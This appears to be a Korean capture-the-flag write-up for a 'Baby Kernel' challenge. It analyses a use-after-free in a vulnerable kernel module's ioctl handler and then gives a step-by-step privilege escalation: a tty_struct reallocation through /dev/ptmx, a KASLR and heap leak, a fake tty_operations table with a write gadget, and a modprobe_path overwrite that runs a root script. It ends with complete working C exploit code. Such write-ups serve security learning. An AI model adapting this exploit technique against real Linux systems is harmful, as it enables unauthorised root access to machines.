Baby Kernel

취약점 분석

1. handle_ioctl()의 UAF

FREE ioctl 처리에서 전역 포인터 buf를 해제하지만 NULL로 초기화하지 않는다. 이후 buf는 해제된 heap object를 계속 가리키는 dangling pointer가 된다.

이 상태에서 같은 크기의 kernel object를 재할당시키면, buf를 통해 새로 할당된 object를 읽거나 쓸 수 있다.

case FREE: {
    if (!buf) {
        return -EFAULT;
    }
    kfree(buf);
    break;
}

2. UAF Read/Write Primitive

USE_READUSE_WRITEbufNULL인지 여부만 검사한다. FREE 이후에도 buf 값은 남아 있으므로, 해제된 chunk를 대상으로 copy_to_user()copy_from_user()가 가능하다.

이로 인해 freed chunk가 tty_struct로 재할당되면, tty_struct leak과 overwrite가 가능하다.

case USE_READ: {
    if (!buf) {
        return -EFAULT;
    }
    return copy_to_user((char*)arg, buf, size);
}
 
case USE_WRITE: {
    if (!buf) {
        return -EFAULT;
    }
    return copy_from_user(buf, (char*)arg, size);
}

Exploit 과정

Step 1: UAF chunk 만들기

0x400 크기로 heap chunk를 할당한 뒤 바로 해제한다. 모듈의 전역 buf는 해제된 chunk를 계속 가리킨다.

uint64_t size = 0x400;
 
ioctl(fd, ALLOC, &size);
ioctl(fd, FREE, 0);

Step 2: /dev/ptmxtty_struct 재할당

/dev/ptmx를 열어 tty_struct를 할당한다. 이 객체가 방금 해제한 0x400 chunk를 재사용하면, UAF로 tty_struct를 읽고 쓸 수 있다.

uint64_t ptmx = open("/dev/ptmx", O_RDONLY);
ioctl(fd, READ, buf);

Step 3: KASLR base와 heap 주소 leak

bufuint64_t[]로 해석한다.

buf[4]에는 tty_struct->ops가 들어 있다. 이 포인터에서 known offset 0x1285100을 빼서 kernel base를 구한다.

buf[8]에는 tty_struct + 0x40 형태의 heap pointer가 들어 있다. 여기서 0x40을 빼서 tty_struct base를 구한다.

uint64_t *leak = (uint64_t *)buf;
 
kbase = leak[4] - 0x1285100;
kheap = leak[8] - 0x40;
modprobe_path = kbase + 0x1b3f600;

Step 4: fake tty_operations 구성

tty_struct->ops를 같은 chunk 내부의 fake operations table로 바꾼다.

uint64_t 기준 offset은 다음과 같다.

buf[4]   = tty_struct->ops
buf[96]  = fake tty_operations 시작
buf[108] = fake tty_operations->ioctl

fake_opskheap + 0x300에 둔다. tty_operations->ioctl slot은 fake ops 기준 0x60, 즉 uint64_t 기준 12번째 entry다.

따라서 전체 buffer 기준으로는 0x300 + 0x60 = 0x360, 즉 buf[108]에 gadget을 쓴다.

uint64_t mov_qptr_rdx_rsi_ret = kbase + 0x144fa9;
 
((uint64_t *)buf)[4] = kheap + 0x300;
((uint64_t *)buf)[0x360 / 8] = mov_qptr_rdx_rsi_ret;
ioctl(fd, WRITE, buf);

사용한 gadget은 다음 동작을 한다.

mov qword ptr [rdx], rsi
ret

ioctl(ptmx, cmd, arg) 호출 시 인자는 다음 레지스터로 전달된다.

rsi = cmd
rdx = arg

따라서 fake ioctl gadget 호출은 다음 arbitrary write가 된다.

*(uint64_t *)arg = cmd;

Step 5: modprobe_path 덮기

fake ioctl을 이용해 modprobe_path/tmp/ex로 덮는다.

char *path = "/tmp/ex\0";
 
ioctl(ptmx, *(uint32_t *)path, modprobe_path);
ioctl(ptmx, *(uint32_t *)(path + 4), modprobe_path + 4);

첫 번째 호출은 /tmp, 두 번째 호출은 /ex\0를 쓴다. 최종적으로 modprobe_path/tmp/ex가 된다.

Step 6: modprobe trigger

/tmp/ex에 root 권한으로 실행될 script를 만든다. 이후 알 수 없는 magic bytes를 가진 실행 파일을 실행하면 kernel이 modprobe_path를 호출한다.

system("echo -ne '#!/bin/sh\nchmod 777 /flag.txt\n' > /tmp/ex");
system("chmod +x /tmp/ex");
 
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
system("/tmp/fake");
 
system("cat /flag.txt");

Exploit Code

#define _GNU_SOURCE
 
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
 
#define ALLOC 0x4008b900
#define FREE 0xb901
#define READ 0x8001b902
#define WRITE 0x4001b902
 
int main()
{
    important("happy hacking!");
 
    int fd = open("/dev/vuln", O_RDWR | O_NOCTTY);
    if (fd < 0)
    {
        perror("open");
        return -1;
    }
    info("fd: %d", fd);
 
    uint64_t size = 0x400;
    char buf[0x400] = {0};
    uint64_t kbase, kheap, modprobe_path;
 
    // allocate and free memory
    ioctl(fd, ALLOC, &size);
    ioctl(fd, FREE, 0);
 
    // leak kernel base address
    uint64_t ptmx = open("/dev/ptmx", O_RDONLY);
    ioctl(fd, READ, buf);
 
    uint64_t *leak = (uint64_t *)buf;
    // for (int i = 0; i < 0x50; i++)
    // {
    //     info("buf[%d]: 0x%lx", i, leak[i]);
    // }
 
    kbase = leak[4] - 0x1285100;
    kheap = leak[8] - 0x40;
    modprobe_path = kbase + 0x1b3f600;
    info("kernel_base: 0x%lx", kbase);
    info("kernel_heap: 0x%lx", kheap);
    info("modprobe_path: 0x%lx", modprobe_path);
 
    // overwrite tty_struct
    uint64_t mov_qptr_rdx_rsi_ret = kbase + 0x144fa9; // mov qword ptr [rdx], rsi ; jmp 0xffffffff81eafa50
    info("mov_qptr_rdx_rsi_ret: 0x%lx", mov_qptr_rdx_rsi_ret);
 
    ((uint64_t *)buf)[4] = kheap + 0x300;
    ((uint64_t *)buf)[0x360 / 8] = mov_qptr_rdx_rsi_ret;
    ioctl(fd, WRITE, buf);
    info("overwrite tty_struct done");
 
    // overwrite modprobe_path
    char *path = "/tmp/ex\0";
    ioctl(ptmx, *(uint32_t *)path, modprobe_path);
    ioctl(ptmx, *(uint32_t *)(path + 4), modprobe_path + 4);
    info("overwrite modprobe_path done");
 
    // set up the malicious script
    system("echo -ne '#!/bin/sh\nchmod 777 /flag.txt\n' > /tmp/ex");
    system("chmod +x /tmp/ex");
 
    // trigger modprobe to execute the malicious script
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake");
    system("chmod +x /tmp/fake");
    system("/tmp/fake");
 
    system("cat /flag.txt");
 
    return 0;
}